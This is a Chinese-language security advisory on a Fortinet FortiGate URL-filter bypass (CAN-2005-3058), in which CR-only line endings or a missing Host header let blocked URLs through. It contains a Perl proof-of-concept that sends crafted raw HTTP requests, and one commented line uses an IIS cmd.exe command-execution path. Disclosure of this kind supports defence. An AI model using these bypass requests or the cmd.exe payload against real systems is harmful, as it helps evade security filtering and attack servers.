安全研究

安全漏洞
Fortinet FortiGate URL检查过滤可绕过漏洞

发布日期:2006-02-13
更新日期:2006-02-13

受影响系统:
Fortinet FortiOS 3 beta
Fortinet FortiOS 2.8 MR10
描述:
BUGTRAQ  ID: 16599
CVE(CAN) ID: CAN-2005-3058

Fortinet FortiGate是一款流行的硬件防火墙。

FortiGate处理HTTP请求的URL过滤时存在问题,远程攻击者可能利用漏洞绕过检查过滤。

如果HTTP请求的每行都以CR而不是CRLF结束的话,或如果HTTP/1.0请求中没有主机字段的话,Fortinet就会无法解析,导致恶意URL绕过Fortinet URL拦截器。

<*来源:Mathieu Dessus (mdessus@gmail.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=113986406929831&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

# http_req.pl
#
# Made by (Mathieu Dessus)
#
# Make a filter for /test* URL in the Fortigate and
# remove the # depending on which HTTP request you want to test

use IO::Socket;

$target = '1.2.3.4';

# Detected
$data = "GET /test HTTP/1.1\r
Host: $target\r
Pragma: no-cache\r
Accept: */*\r
\r
";
# Not detected
$data = "GET /test2 HTTP/1.1
Host: $target
Pragma: no-cache
Accept: */*

";

# Not detected
$data = "GET /test3 HTTP/1.0\r\n\r\n";
# Detected
#$data = "GET /test4 HTTP/1.0\r\nHost: $target\r\n\r\n";
# Detected :)
#$data = "GET //c/winnt/system32/cmd.exe?/c+dir HTTP/1.0\n\n";


my $sock = new IO::Socket::INET (
                                  PeerAddr => $target,
                                  PeerPort => '80',
                                  Proto => 'tcp',
                                 );
die "Could not create socket: $!\n" unless $sock;
print $sock $data;
read($sock, $ret, 600);
print($ret."\n");
close($sock);

建议:
厂商补丁:

Fortinet
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

https://www.fortinet.com/

浏览次数:3391
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障